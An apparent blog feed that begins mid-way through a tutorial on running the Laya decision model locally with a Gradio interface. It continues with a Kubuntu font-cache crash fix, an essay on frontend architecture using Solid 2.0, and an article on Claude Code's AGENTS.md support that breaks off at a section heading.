result = router.predict(state, questions)

print("Selected intent:", result["answers"]["intent"]["choice"])
print("Probabilities:", result["answers"]["intent"]["probabilities"])
print("Confidence:", result["answers"]["intent"]["confidence"])
print("Routing model:", result["routing"]["model"])
print("Routing reason:", result["routing"]["reason"])
print("Input tokens:", result["usage"]["input_tokens"])
print("Output tokens:", result["usage"]["output_tokens"])

I then ran:

python test_laya.py

The result

The prediction was:

Selected intent: failed_transfer

Laya assigned:

failed_transfer → 0.9753

The other notable probabilities were:

declined_transfer          → 0.0056
unable_to_verify_identity  → 0.0191

The reported confidence was:

0.9703

The request contained 350 input tokens, while the output was again:

Output tokens: 0

The Router also selected:

Routing model: english

with the reason:


English Latin text

Something else I noticed

This time, the terminal didn't download the model again.

The fetching step showed:

5/5
00:00

and the download/reconstruction both reported 0.00B.

That makes sense because the checkpoint had already been downloaded during my earlier experiments. Laya was using the cached files instead of downloading another copy.

What does preload actually change?

The important thing to understand is that preload=True doesn't change the kind of answer Laya produces. It changes how the model is prepared for inference.

With the normal setup:

Request
   ↓
Load checkpoint if needed
   ↓
Prediction

With preload enabled:

Application starts
       ↓
Checkpoint(s) loaded
       ↓
Request arrives
       ↓
Prediction

That makes more sense for something that is going to stay running, such as a local API, a support-ticket classifier, or another application making repeated decisions.

There is a trade-off, though. Keeping models ready means using more memory. So preload mode is more useful when the machine has enough RAM to keep the required checkpoints resident.

For my Mac mini, the interesting thing was that Laya was already operating in a completely different memory class from the large language models I normally experiment with.

I didn't measure the exact RAM usage in this run, so I'm not going to make up a number. What I can confirm is that the preloaded setup ran successfully on my M4 Mac mini with 16GB unified memory.

And at this point, I had tested Laya with short text, long text, multiple decisions, Hindi input, and a wide choice set.

Step 15: Checking Laya's Storage and Memory Usage

After running several different tests, I wanted to check something more practical.

I already knew the model files were relatively small, but I wanted to see what they actually looked like on my Mac rather than relying only on the numbers from the model page.

There are two different things to measure here:

Storage — how much space the downloaded checkpoints occupy on the SSD.

Memory — how much RAM the Python process needs while Laya is running.

These are easy to confuse, because an 800 MB model file does not necessarily mean the application will use exactly 800 MB of memory.

Checking the Laya cache size

Hugging Face keeps downloaded model files in its local cache. I checked the cache with:

du -sh ~/.cache/huggingface/hub

To look specifically for Laya models:

du -sh ~/.cache/huggingface/hub/models--convaiinnovations--*

Depending on how the cache is configured on the Mac, the files may be stored in a different location. You can check that with:

echo $HF_HOME

If nothing is printed, the standard Hugging Face cache location is normally used.

Checking memory usage

For the memory side, I used macOS's built-in /usr/bin/time utility.

Instead of:

python test_laya.py

I ran:

/usr/bin/time -l python test_laya.py

At the end of the output, macOS reports:

maximum resident set size

That gives me the peak memory used by the Python process during the run.

This is a much more useful number for my blog than simply saying:

“The model is 846 MB.”
The model file and the actual runtime memory are two different measurements.

Step 16: Putting Laya Behind a Gradio Interface

After testing Laya from the terminal, I wanted to make the experiment a little more practical.

Running a Python script every time works, but I wanted a small interface where I could paste a customer message, click a button, and immediately see what Laya thinks about it.

So I added Gradio on top of the same Laya code.

The flow now looks like this:

Browser
   ↓
Gradio
   ↓
Laya Router
   ↓
Structured decisions

I kept the interface simple. I wanted to see the department, refund request, churn risk, routing information, and token usage without having to read a large JSON response every time.

Gradio is a simple way to do that.

Install Gradio

Inside the same virtual environment:

python -m pip install gradio

Create the UI

Create another file:

touch app.py

Then open it:

nano app.py

Add this:

import gradio as gr
from laya import Router

# Load Laya once when the app starts
router = Router(preload=True)


def predict(text):
    if not text.strip():
        return {
            "error": "Please enter some text."
        }

    questions = {
        "department": {
            "type": "choice",
            "instructions": "Which department should handle this?",
            "criteria": {
                "billing": "invoices, payments, refunds",
                "technical": "bugs, outages, system errors",
                "other": "everything else"
            }
        },
        "refund_requested": {
            "type": "noul",
            "instructions": "Does the user explicitly request a refund?"
        },
        "churn_risk": {
            "type": "noul",
            "instructions": "Does the user threaten to cancel or leave?"
        }
    }

    result = router.predict(text, questions)

    return {
        "department": result["answers"]["department"],
        "refund_requested": result["answers"]["refund_requested"],
        "churn_risk": result["answers"]["churn_risk"],
        "routing": result["routing"],
        "usage": result["usage"]
    }


with gr.Blocks(title="Laya Decision Demo") as demo:
    gr.Markdown("# Laya Decision Demo")
    gr.Markdown(
        "Enter a message and let Laya make structured decisions."
    )

    text_input = gr.Textbox(
        label="Input",
        placeholder="Example: I was charged twice and want a refund.",
        lines=6
    )

    run_button = gr.Button("Run Laya")

    output = gr.JSON(label="Laya Result")

    run_button.click(
        fn=predict,
        inputs=text_input,
        outputs=output
    )


if __name__ == "__main__":
    demo.launch()

Run the interface

Now start it with:

python app.py

Gradio will start a local web server and give you a local URL, typically something like:

http://127.0.0.1:7860

Open that URL in your browser.

You'll get a simple interface where you can enter something like:

Hi, I was charged twice for my March subscription.
Please refund the duplicate payment.

and click:

Run Laya

The UI will then show the structured result returned by Laya.

The result

For one of my tests, I entered a customer-support message and got this result:

Department: billing
Refund requested: 0.8829
Churn risk: 0.0916
Model: english
Input tokens: 161
Output tokens: 0

The department probabilities were:

billing   → 0.9637
technical → 0.0185
other     → 0.0178

The refund decision returned:

0.8829

And the churn-risk value was:

0.0916

One thing I found particularly interesting was the token count:

input_tokens: 161
output_tokens: 0

Again, Laya wasn't generating a paragraph in response to my input. The interface was simply displaying the structured decisions produced by the model.

The Router also identified the input as English:

model: english
reason: English Latin text

Step 17: What the Benchmarks Say

After playing with Laya locally, I wanted to look beyond my own small experiments and see how the different checkpoints perform on larger benchmark runs.

The project currently has three checkpoints:

| Checkpoint               | Parameters |            Context | Main use                 |
| ------------------------ | ---------: | -----------------: | ------------------------ |
| `convaiinnovations/laya` |       421M |                512 | English                  |
| `laya-multilingual`      |       322M | 1,024, up to 8,192 | 100+ languages           |
| `laya-typed-decisions`   |       421M |              1,024 | Typed decision workflows |

The first thing that stands out is how small these models are.

The main Laya checkpoint is only 421 million parameters, and the multilingual version is even smaller at 322 million. That's a very different scale from the multi-billion-parameter models I normally think about when talking about local AI.

Accuracy

The project's benchmark runs on a Tesla T4 show a few interesting numbers.

For typed decisions, the fine-tuned laya-typed-decisions checkpoint reached 0.766 accuracy across 2,000 decisions.

The base English and multilingual checkpoints were much lower on this particular benchmark:

laya                  → 0.362
laya-multilingual     → 0.342
laya-typed-decisions  → 0.766

That difference is important.

It tells me that the impressive 0.766 number shouldn't be interpreted as what the base Laya model does out of the box. The result comes from a checkpoint that was specifically fine-tuned for those typed-decision workflows.

That's actually one of the more useful lessons from the benchmarks: fine-tuning matters a lot for this kind of model.

Speed

The speed numbers are also interesting.

On a Tesla T4, the project reports:

| Questions in one call |     Laya | Multilingual |
| --------------------: | -------: | -----------: |
|                     1 |  39.5 ms |      32.8 ms |
|                     5 |  84.5 ms |      40.1 ms |
|                    10 | 158.6 ms |      72.3 ms |
|                    50 |   771 ms |       337 ms |

Because multiple questions can be answered in one forward pass, the cost per question drops as the batch gets larger.

For example, the multilingual checkpoint reaches about 7.2 ms per question when 10 questions are processed together.

That's one of the places where the smaller decision-oriented architecture starts to make sense.

Laya benchmark results across accuracy, latency, calibration, multilingual performance, and application workflows.

Step 18: What About Long Documents?

One of the things I was particularly interested in was how Laya behaves when the input gets much longer.

The multilingual checkpoint can be configured with:

max_len=8192

The project's long-context experiment placed the request at the end of documents with different amounts of unrelated text before it.

The results were:

| Text before request | Correct | Time per request |
| ------------------- | ------: | ---------------: |
| Short input         | 19 / 20 |           0.02 s |
| ~1,000 tokens       | 16 / 20 |           0.21 s |
| ~2,000 tokens       | 17 / 20 |           0.50 s |
| ~3,000 tokens       | 17 / 20 |           0.90 s |
| ~4,000 tokens       | 18 / 20 |           1.71 s |
| ~5,000 tokens       | 11 / 20 |           2.59 s |
| ~6,000 tokens       | 17 / 20 |           3.50 s |
| ~7,000 tokens       |  8 / 20 |           4.50 s |

The results aren't perfectly smooth, but they show the basic trade-off clearly: longer context costs more time, and accuracy can become more variable as the document gets very long.

That matches what I saw in my own test earlier. My 751-token support ticket worked without any issue, but that doesn't mean I should throw an enormous document at the model and expect the same behavior.

For a real application, I would test the exact input lengths and document types I care about.

Long-context test for laya-multilingual with requests placed at different positions inside longer documents.

Step 19: Where Laya Does Well — and Where It Doesn't

After all the experiments, I think the most useful way to look at Laya is not as a replacement for a large language model.

It's a different tool.

The project reports strong results on some tasks. For example, its benchmark suite reports around 0.993 accuracy for email spam and phishing on the tested data, while several other workflows are considerably weaker.

The same benchmark also shows an important limitation with large choice sets.

On Banking77, which has 77 labels, the benchmark reports:

Laya → 0.425
TypeSafe Jev → 0.870

The project attributes Laya's result to the way the available token budget is shared across the many option descriptions.

That matches something I started noticing during my own experiments: three or twelve choices are very different from seventy-seven choices.

So I wouldn't design a system around hundreds of labels in one giant choice question without testing it carefully.

There are a few other things I would keep in mind too.

The base checkpoints are not automatically excellent at every zero-shot decision task. The model's probability outputs can also require calibration, and some decision types perform better than others.

For me, that's actually a positive part of the project rather than something to hide.

The documentation is fairly open about where the model works and where it needs more care.

Step 20: Laya vs. a Traditional LLM

After running all these tests, this is the comparison that makes the most sense to me.

A traditional LLM generally looks like:

Input
  ↓
Large language model
  ↓
Generate tokens
  ↓
Text response

Laya looks more like:

Input
  ↓
Laya
  ↓
Typed decision
  ↓
Probability

That's a much narrower job.

I wouldn't use Laya to write a blog post, generate code, summarize a long meeting, or have a conversation.

But I could imagine using something like Laya for the smaller decisions that happen around those tasks.

For example:

User request
      ↓
     Laya
      ↓
  Is this relevant?
      ↓
  Is it urgent?
      ↓
 Which workflow?
      ↓
    LLM / Tool

In other words, the interesting idea isn't:

“Laya can replace my LLM.”

For me, it's:

“Maybe my LLM doesn't need to make every decision.”

Step 21: What I Took Away From This Experiment

I started this experiment because Laya looked unusual.

Most of the local models I come across are trying to become better at generation: better coding, better reasoning, better conversations, better multimodal capabilities.

Laya went in a different direction.

It takes a relatively small model, gives it a structured decision problem, and focuses on making that decision quickly.

I tested it on my M4 Mac mini, ran the English checkpoint, switched to the multilingual model with Hindi input, asked multiple questions against the same text, tried a longer support ticket, increased the number of choices, and finally put the whole thing behind a small Gradio interface.

What surprised me most was how little infrastructure was needed to get from zero to a working local demo.

I didn't need a giant GPU server.

I didn't need an API key for inference.

I didn't need to run a multi-billion-parameter model.

I just installed the package, downloaded the checkpoint, and started asking it structured questions.

Conclusion

Maybe Every AI System Doesn't Need One Giant Model

After spending so much time experimenting with large language models, I found Laya refreshing simply because it isn't trying to be one.

It doesn't generate a long answer.

It doesn't try to write code.

It doesn't try to become a chatbot.

It makes decisions.

Running a 421M-parameter model locally on my M4 Mac mini made that idea feel much more practical to me.

For something like customer-support routing, moderation, classification, guardrails, or other structured decisions, using a smaller specialized model can make more sense than sending every single request through a large generative model.

At the same time, my experiments also showed that Laya isn't magic. Its performance depends heavily on the task, the number of choices, the input size, and whether the model has been fine-tuned for the problem. The confidence values also need to be treated carefully rather than taken as guaranteed accuracy.

So I wouldn't look at Laya and ask:

“Is this the next replacement for Llama or Qwen?”

That's the wrong comparison.

The more interesting question for me is:

What if we stop expecting one model to do everything?

A large language model can handle generation and reasoning.

A small decision model can handle a narrow decision.

A routing model can decide which path to take.

And an application can combine all of them.

That feels like a much more interesting direction for local AI.

Laya may be small, but the idea behind it is much bigger: sometimes the best model for a job isn't the model that can do everything — it's the one designed to do that one job well.

Thank you so much for reading

Like | Follow | Subscribe to the newsletter.

Connect with me on:

GitHub: https://github.com/Ayush7614

LinkedIn: https://www.linkedin.com/in/ayush-kumar-984443191/

Twitter: https://x.com/AYUSHKUMAR82274

Substack: https://substack.com/@felixayush

Dev.to Blog: https://dev.to/ayush7614

Personal Blog: https://neural-verse-peach.vercel.app/

Website: https://ayushbuilds-dev.vercel.app/

KDE Plasma crashes after system update on Kubuntu 26.04: fontconfig race condition fix

Mišo Oroz — Wed, 23 Sep 2026 14:35:37 GMT

Last week I updated a Kubuntu 26.04 LTS workstation and came back to a broken desktop. KDE Plasma would start, the desktop would flash for a second, then disappear. plasmashell kept crashing in a loop. The machine was otherwise fine: Konsole worked, Firefox worked, Thunderbird worked, the system was responsive. Just no desktop.

This is what I found and how I fixed it permanently.

What was happening

The crash was a SIGSEGV in plasmashell, repeating every few seconds with Failed with result 'core-dump' in the service logs. After digging into the stack trace, the culprit was fontconfig.

The root cause is a race condition at login. When you log in after a system update that touches font packages, plasmashell starts reading the font cache at the same time something else triggers its regeneration. fontconfig ends up writing a new cache while plasmashell is already reading the old one, which causes a segfault inside FcCharSetHasChar.

It is a timing issue, which is why it does not happen on every update and why a simple restart sometimes appears to fix it temporarily.

Diagnosing

Before touching anything, confirm the crash is what I described:

coredumpctl list --since today --no-pager

You should see plasmashell crashes. Then read the stack:

coredumpctl info plasmashell --no-pager | grep -A40 "Stack trace of thread"

Look for FcCharSetHasChar in the trace. If it is there, you have the same issue.

Also worth checking the session log:

journalctl --user -b --no-pager -p warning | grep -iE "plasmashell|fontconfig" | tail -20

Temporary fix

This gets the desktop back immediately without a reboot:

rm -rf ~/.cache/fontconfig
sudo rm -rf /var/cache/fontconfig/*
sudo fc-cache -r -f
fc-cache -r -f
systemctl --user reset-failed plasma-plasmashell
systemctl --user restart plasma-plasmashell

The desktop should come back within a few seconds. This works until the next reboot, at which point the race condition can happen again.

Permanent fix

The real solution is to force a font cache regeneration before plasmashell starts. You do this with a systemd drop-in that adds an ExecStartPre directive to the plasmashell service:

mkdir -p ~/.config/systemd/user/plasma-plasmashell.service.d

Then create the drop-in file:

cat > ~/.config/systemd/user/plasma-plasmashell.service.d/fontcache.conf << 'EOF'
[Service]
ExecStartPre=/usr/bin/fc-cache -f
EOF

Reload systemd and reboot:

systemctl --user daemon-reload
sudo reboot

After login, verify it worked:

systemctl --user status plasma-plasmashell | head -10

You want to see this in the output:

Process: ExecStartPre=/usr/bin/fc-cache -f (code=exited, status=0/SUCCESS)
Active: active (running)

If you see that, the drop-in is working and the font cache is being regenerated before plasmashell touches it on every boot.

Why this works

The systemd drop-in ensures fc-cache completes before plasmashell starts. No race, no partial file reads, no segfault. It adds a second or two to login time, which is a reasonable trade for a stable desktop.

The drop-in survives updates because it lives in your user config directory, not in the system service file. If a future KDE or fontconfig update changes the timing behavior, you can simply remove the drop-in and check if the issue is gone.

Environment

Kubuntu 26.04 LTS, KDE Plasma 6.6.6, kernel 7.0.0-34, Intel Raptor Lake i915. I deploy Kubuntu 26.04 on client workstations and hit this after a routine update. The fix has held across multiple reboots and subsequent updates.

If you are seeing something similar but the stack trace does not mention fontconfig, this drop-in will not help. The crash is something else. Check the coredumpctl output carefully before applying anything.

zerolock.it

The Grand Unifying Architecture of Frontend

Ryan Carniato — Tue, 22 Sep 2026 16:43:06 GMT

I used to joke that the history of frontend development could be retraced by following the argument of who owned the state. And the truth is both sides have gone back and forth on this over the years. We started on the document web where state was on the server. Then we added JavaScript and Applets where we could have stateful things in the client. But developers at the time didn't like either much and tried to wire state across both sides in their server languages and we got ASP.NET and the like.

I sit here over 30 years later and it is still going on. Going to replace your React app with HTMX? Maybe. Maybe it isn't that simple. Although this seems like an endless spiral, I don't think this is unsolvable. Even though it has been going on so long, I actually think the answer is in front of us.

The unified model comes down to understanding responsibilities. And they are as old as the web itself. Every time we misalign complexity soars. Every time we ignore part of the puzzle it goes on to bite us. Every solution straddles part of this solution space but we've struggled to cover the whole range.

Core Responsibilities

My observation is that all frontend architectures come down to layering of three responsibilities. Some are more present than others but they all exist in some form.

1. Navigation (client)

The URL is the basis of the web experience and it belongs to the browser. Orchestration is a client responsibility and every solution from SPA to HTML partial agrees with this. JavaScript in the browser is the root of our application.

2. Content (server)

Conversely, content belongs to the server whether it is markup or JSON. The server is the authoritative source. It hangs off of our navigation.

3. Affordances (client)

Affordances find us back in the browser. Local UI state, in progress work, optimistic updates. We need to provide our user feedback faster than a round-trip to the server.

Following the Shape

All web application architectures follow this client -> server -> client layering. A user navigates or performs an action, content comes back from the server, and the client settles it. That's the Single Page Application(SPA) architecture after load, but it's also HTMX. And also LiveView, if the server -> client protocol is powerful enough.

It feels like I'm stating the obvious here. But the web generally maps writes to navigation, and the server only pushes reads. Mutations travel through layer 1 with forms, actions, invalidation, and requests for the content. Layer 2, content, never writes and only publishes.

This asymmetry is what makes it composable. Breaking that leads to two stateful systems fighting against themselves. Which is why affordances like optimism(layer 3) fit cleanly on top if viewed as an overlay. The client never writes server content directly as it doesn't own it.

Revisiting the Spectrum

I've tried many times to map the solution space to a 4 quadrant grid but I never found the right axis. But I'm now seeing how all solutions can sit in the same diagram.

Obviously this is a rough placement, solutions fit spaces not points, and something like React can be used as a frontend in a sync engine like Zero. Here React represents classic SPAs + JSON API. But most frameworks fix both transport and affordance weight so they don't move much.

But if you put it under our lens of responsibility:

HTMX: Minimal layer 1, HTML carries the majority of the work under layer 2, and layer 3 is almost nothing.
LiveView: Layer 2 expands its capability, while layer 3 remains nearly non-existent. Same dance with the read window stretched to the length of the session.
DataStar: More machinery in layer 2 with the addition of server populated Signals allowing for some closer interaction with the client.
Astro(+ View Transitions): navigation(view transition) -> server(markup) -> client(islands). All 3 parts laid out explicitly.
Server Components(Next.js): Like Astro except shared client state is preserved.
SPA + JSON(React): Layer 3 grows until it merges with layer 1. And layer 2 is delegated to JSON APIs.
Sync Engine(Zero): Layer 2 becomes a persistent read of a replicated store, and layer 3 grows to hold a full local copy of it. Optimism over the whole dataset.

Every solution, with a bit of coaxing, is capable of expressing all of these. They differ in transport, window length, and how much affordance code you ship. So it comes down to efficiency and authoring. Which means one framework could cover it all, if each responsibility is adjustable.

A Modern Take

Nothing I've laid out is any different than how the base platform has always worked, but can we mirror this in a way that encompasses the full spectrum of the past 30 years?

I'm going to paint a picture using our 3 responsibilities with Solid 2.0.

Navigation: Delegation and progressive enhancement

Solid's router owns nothing in the render tree. There is no <Link>(or <A>) component. Instead our JSX compiler registers a claim on every a[href] and form[action] element it creates, and server-streamed content gets the same claims swept over any subtree the runtime renders.

// lib/users.ts
export const renameUser = action(
  async (id: string, formData: FormData) => {
    "use server";
    updateUser(id, { name: String(formData.get("name")) });
  }
);

// routes/users/[id].tsx — plain HTML. The compiler claims the
// anchor and the form. The router intercepts both. Works before 
// hydration and after.
<a href={`/users/${id}`}>{user().name}</a>
<form action={renameUser.with(id)} method="post">
  <input name="name" value={user().name} />
  <button>Rename</button>
</form>

Note: There are no components in this markup.

A SolidJS router consumes those claims to manage aria-current, active classes, and interception. This means server-rendered markup with zero client components participates fully in client-side navigation. So it works not only with "No JS" but with JavaScript with no interactive components.

Forms and buttons delegate to server function actions the same way. You hoist your preloads and invalidation correctly and single-flight mutations mean one round trip settles every piece of UI the mutation invalidated whether that UI is JSON-fed client components or server-owned markup.

Content: Reactive reads over the wire

Solid's powerful protocol for layer 2 stands on our "use server" functions. Solid serializes across the boundary with Seroval, which handles not just plain data but async structures, like Promises and async iterators. The communication between server and client is about the data, including data that hasn't settled yet.

export async function report(id: string) {
  "use server";
  return {
    title: await getTitle(id),
    // AsyncIterable<string> — crosses the wire as-is
    progress: watchProgress(id), 
  };
}

// client: the iterable's latest yield is just a reactive read
const r = createMemo(() => report(props.id));
const progress = createMemo(() => r().progress);
<h1>{r().title}</h1>
<p>{progress()}</p>

More than that, the reactive graph propagates over the wire. On the server, every expression feeding the client is an open binding for the life of the response. When a promise settles or iterator yields the server re-runs the expression and sends the new value to the client to be replaced or morphed.

So far I've showcased this in examples around the original response, ie what happens during hydration. Even if the content chunks stream in as they initially are ready, we can continue to update the stream in place as long as the request stays open.

But the same can be true of server function requests after the fact. We can send back would-be static markup, "Server Components", and have their reactive graph never ship to the client while still doing these streamed pinpoint updates. We will be announcing the preview for our Server Component feature soon (but if you look you can already see fully working examples in our repo).

export async function countdown(n: number) {
  "use server";
  const ticks = tick(n); // AsyncIterable<number>, one per second

  // returning a function returns a Server Component
  return () => {
    const count = createMemo(() => ticks);
    return <p>Counted to {count()} of {n}</p>;
  };
}

// client — zero component code ships for this
const Counter = dynamic(() => countdown(10));
<Counter />

Because the communication is one-way with a single authoring model, the transport is pluggable. Today we use Request/Response, so it lives as long as the request is open and you reconnect as needed. Swap in something persistent like SSE or a socket and the same server component becomes a non-terminating live component.

// request/response — left side of the grid
export const getAuction = GET(async () => {
  "use server";
  return read();
});

// persistent — right side of the grid
export const liveAuction = live(async function* () {
  "use server";
  while (true) { yield read(); await changed(); }
});

// the consumer doesn't care which one it got
const [auction] = createOptimisticStore(() => liveAuction(), {});

What makes this safe is what LiveView's failure mode teaches us: The server's live graph must be a re-derivable projection of durable state. It is never the source of truth. Reconnection doesn't depend on sessions, event replay, or anything that dies with a process.

Affordances: An async-aware graph that hydrates once

This is an area SolidJS has excelled in. But in 2.0, async became native to the graph. A value arriving from the server content channel and a value computed locally are indistinguishable to the consumer.

Optimism is a first-class primitive. It isn't just something bundled with the server functions or query caching library. Optimism represents any uncommitted state predicted over async, whatever the async source. It's a general concept. It doesn't just represent what some might consider "lying to the user", it doesn't have to masquerade as an invisible success. It represents any predictive ephemeral affordance. It either settles eventually as truth or it is reverted, but it never outlives its transaction. It prevents getting out of sync.

const [auction, setAuction] = createOptimisticStore(() => liveAuction(), {});

const placeBid = action(function* (amount: number) {
  // overlay — reverts on settle
  setAuction(a => { a.highBid = amount });
  // mutation - the write goes up
  yield bid(amount);
  // hold until truth comes back down             
  yield until(() => auction.highBid >= amount);
});

This all works because we never hydrate more than once. After startup, the server should never render a client component as client state has diverged from anything the server could know. This is a critical naive breaking point in HTML Partial and Islands solutions that share client state. Hydrating after state has updated is a recipe for hydration mismatches. While we can safeguard during the initial streaming progression, that isn't a realistic proposition over the life of an application.

A rule like that only holds if the system enforces it. Every piece of server content is keyed by the call that produced it, the function and its arguments, the same key a query cache would use. Content arriving on any transport only ever writes to that address's store, and mounted UI pulls from the address it's bound to. There is no direct connection from the network to the DOM. So a hover preload can't clobber the page you're looking at, a refetch morphs in place while the client-owned ranges inside it survive, and a stale response doesn't pass a version check.

Under this unified model, initial load gets the same treatment without paying serialization twice. Client components claim their server-rendered nodes and boot makes zero requests. The only serialized records are values the client requires. Server-only content ships as HTML or as data, never both. The page markup is the payload. For server components, that means always one copy. View-source and search for any piece of content and you'll find it exactly once.

I once positioned this as "Facing Frontend's Existential Crisis", but now it is a solved problem.

Traversing the Spectrum

What makes this exciting is with the pieces above you are completely free to move the whole solution space and every point in between.

If you start in the lower left corner, that would be like a SolidJS app with no client components that just swaps server component chunks on server "use server" actions bound to <form action>. Server markup streams and morphs, and navigation is handled without any client components.

The top left-hand side is when we extend layer 3 until it dominates and you have the SPA and there are no server components or server rendering at all. Just JSON APIs.

And we can continue to traverse over the top to the right-hand side by the way of persistent "use server" functions and our granular optimistic layer. Solid's live and until operators help close the gap when the client state is streamed in as available. I'd still use a dedicated sync engine, but the base primitives alone do a good impression.

Finally, the lower right corner, is closer to where we started. Except this time our server components have reactive bindings and their connection is persistent. No client components, just our same "use server" action protocol to write back, while our reads stream fine-grained markup partials over the wire. In this world, even the server components could be optimistic depending on how you write your actions, and until again gives us a mechanism for completion acknowledgements.

The incredible part is that this required nothing that users of Solid 2.0 aren't already familiar with. Async Signals and use server. With that, all these experiences are authorable using basically the same patterns, in the same framework, even in the same application.

Conclusion

It goes back to where we started. A few pieces that have been sitting in front of us this whole time.

The browser owns navigation and affordances. The server owns content. Communication is a loop with writes travelling as navigation and content travelling as one-way reads. And the transport and the response window should be configurable without changing the shape of authoring.

Everything from HTMX to LiveView to islands to the SPA is a coordinate on this grid. The differences between them are efficiency and ergonomics rather than expressiveness.

What makes this more than an exercise in categorization is that all the hard pieces are built. We serialize and hydrate once. The reactive graph serializes its own updates. Content is stored by address, so stale hydration can't be represented.

It comes as little surprise to me that Signals can act as that common representation on all sides. Sync and async. Server and client. Stateful and stateless.

This is stupidly ambitious. RSCs only aimed to provide the left half of the grid and many felt they still fell short. The HTML-over-the-wire camp has aimed to provide the bottom half, but ignoring the client is ignoring an entire responsibility.

And yet, this is a future that I want to live in. One where choosing a framework doesn't require you to choose a religion. And one, from my perspective, that is already here.

Claude Code now supports AGENTS.md Natively - Here's how it actually works

Prosper Otemuyiwa — Tue, 22 Sep 2026 12:55:36 GMT

Quick answer: As of 4 days ago, September 18, Claude Code natively reads AGENTS.md, the open, cross-tool standard for AI coding agent instructions. By default it's a fallback, not a merge: Claude Code reads AGENTS.md only in a project that has no CLAUDE.md in the working directory or any parent directory. If a CLAUDE.md exists anywhere in that chain, Claude Code reads that instead and ignores AGENTS.md. You can change this under /config → "Project instructions."

If you've been running more than one coding agent against the same repo, you've probably already got a CLAUDE.md, a .cursorrules, maybe a .github/copilot-instructions.md, and a handful of other files that all say roughly the same thing in slightly different dialects. Anthropic just closed one of those gaps. Below is what changed, exactly how the fallback logic works, and what to do if you're running a monorepo or already have a CLAUDE.md you want to keep.

A reminder of what AGENTS.md is?

AGENTS.md is an open, tool-agnostic Markdown file, a "README for agents" that tells any AI coding agent how to work in a given repository: build commands, test commands, style rules, off-limits directories, and deploy steps. It sits at the repo root (or nested in subdirectories, for monorepos) and is read by more than twenty coding tools, including Codex, Cursor, Gemini CLI, Copilot, and now Claude Code.

The pitch behind the standard is simple: instead of every vendor inventing its own instruction file with its own name, its own parsing rules, and its own precedence quirks, agents converge on one plain-Markdown file that any tool can read. No proprietary schema, no lock-in, no special syntax, just Markdown a human can also open and understand.

The workaround era

Before native support landed in Claude Code, AGENTS.md and CLAUDE.md lived side by side, and keeping them in sync was entirely on you. The common patterns looked like this:

Symlinks. ln -s AGENTS.md CLAUDE.md so both filenames pointed at one file. Worked until someone's editor or git config mangled the symlink on checkout, or a Windows teammate's filesystem didn't preserve it.
Loader scripts. Small pre-commit hooks or Makefile targets that concatenated AGENTS.md into CLAUDE.md on save, so Claude Code would pick up the content under the name it actually looked for.
Community plugins and skills. Wrapper skills whose entire job was "go find AGENTS.md, read it, and inject it into context" — a workaround built entirely because the CLI didn't do this itself yet.
Just maintaining both, by hand. The most common answer, and the one most likely to drift. Someone updates the build command in AGENTS.md for the Cursor and Aider users on the team, forgets CLAUDE.md, and now Claude Code is running stale instructions until someone notices.

None of these were catastrophic. All of them were friction that had nothing to do with the actual work, infrastructure tax paid just to keep one CLI aligned with a standard the rest of the ecosystem had already settled on.

How does Claude Code's AGENTS.md support actually work?

Claude Code added the feature with characteristically plain wording in the changelog:

"Added AGENTS.md support: in a project with no CLAUDE.md, Claude Code reads AGENTS.md instead; change it under 'Project instructions' in /config (not yet on Bedrock, Vertex or Foundry)"

That sentence matters more than it looks, the default behavior is a fallback, not a merge. Claude Code checks the working directory and every parent above it; if a CLAUDE.md exists anywhere in that chain, AGENTS.md is ignored entirely. Only when there's no CLAUDE.md in scope does it read AGENTS.md instead. It's implemented as a built-in plugin under the hood, which is why it's configurable rather than hardcoded.

The four "Project instructions" modes in `/config`

Mode	Behavior	When to use it
`claude-md-or-agents-md` (default)	Reads `CLAUDE.md` if one exists anywhere above the working directory; otherwise falls back to `AGENTS.md`.	You have no `CLAUDE.md` yet, or you're fine with `AGENTS.md` only applying where `CLAUDE.md` is absent.
`claude-md-and-agents-md`	Loads both files together; `CLAUDE.md` takes precedence on overlapping instructions.	You want one shared `AGENTS.md` to serve every tool, with `CLAUDE.md` layered on top for Claude-specific extras.
`claude-md`	Ignores `AGENTS.md` entirely — pre-2.1.277 behavior.	You deliberately want Claude Code isolated from the shared file.
`managed-only`	Drops checked-in and private instruction files; keeps only organization-managed config.	Enterprise/compliance setups that centrally control agent instructions.

Practical consequences: Symlinks, monorepos, and known limitations

For a single root file, you can drop the symlink. If your only instruction file lived at the repo root and you were symlinking CLAUDE.md → AGENTS.md purely so Claude Code would notice it, that's no longer necessary under the default fallback mode.
For monorepos, symlinks aren't actually replaced — they're replaced by a different pattern. A nested AGENTS.md in apps/api/ is not picked up automatically if any CLAUDE.md exists above it in the tree (including at the repo root), because the fallback check happens per-lookup and a closer or higher CLAUDE.md wins. If you want Claude Code to respect a nested AGENTS.md while other tools keep reading it directly, the documented pattern is a small CLAUDE.md next to it that imports it @AGENTS.md rather than a symlink. Set instructionFiles to claude-md-and-agents-md if you want both loaded everywhere instead.
It's not available everywhere yet. Bedrock, Vertex, and Foundry deployments don't have it as of this writing. There are also a handful of sharper edges: nested AGENTS.md files attach on file reads but aren't restored after context compaction, they don't show up in /memory, and directories added via --add-dir don't contribute their AGENTS.md at all. Worth checking /config and the changelog before you assume parity with CLAUDE.md in every edge case.
One less thing to explain to new hires or new agents. For the common case, one instruction file at the root, no CLAUDE.md in the way, point someone (or something) at the repo, and the instructions are just there, under the name every other tool already expects.

Why this matters for teams standardizing agent workflows

If your team runs a single agent, none of this changes much, update one file, move on. The value shows up the moment you're running more than one, which is increasingly the default rather than the exception: Claude Code for one class of task, a Cursor or Codex-based agent for another, a CI-triggered agent doing automated reviews, maybe a background agent doing dependency bumps.

Every one of those previously needed its own copy of "here's how this repo works," or needed you to maintain the sync tooling described above. Native AGENTS.md support means that gap can close but only if you actually pick the mode that matches your setup. Ship a repo with just AGENTS.md and nothing else, and Claude Code, Cursor, Codex, and Copilot all read the identical file by default with zero configuration. Keep a CLAUDE.md around too which most existing Claude Code users will and you need to either explicitly switch /config to claude-md-and-agents-md, or accept that CLAUDE.md is what Claude reads while everyone else reads AGENTS.md, and keep the two in sync on purpose.

For a technical lead, that's the actual decision to make, not just the actual win: treat AGENTS.md as the cross-tool baseline everyone gets by default, and reserve CLAUDE.md for Claude-specific extras (hook config, permission modes) layered on top via claude-md-and-agents-md or an explicit @AGENTS.md import. Do that once, deliberately, and "which instruction file does this tool actually read" stops being a recurring Slack question.

A quick tip while you're at it

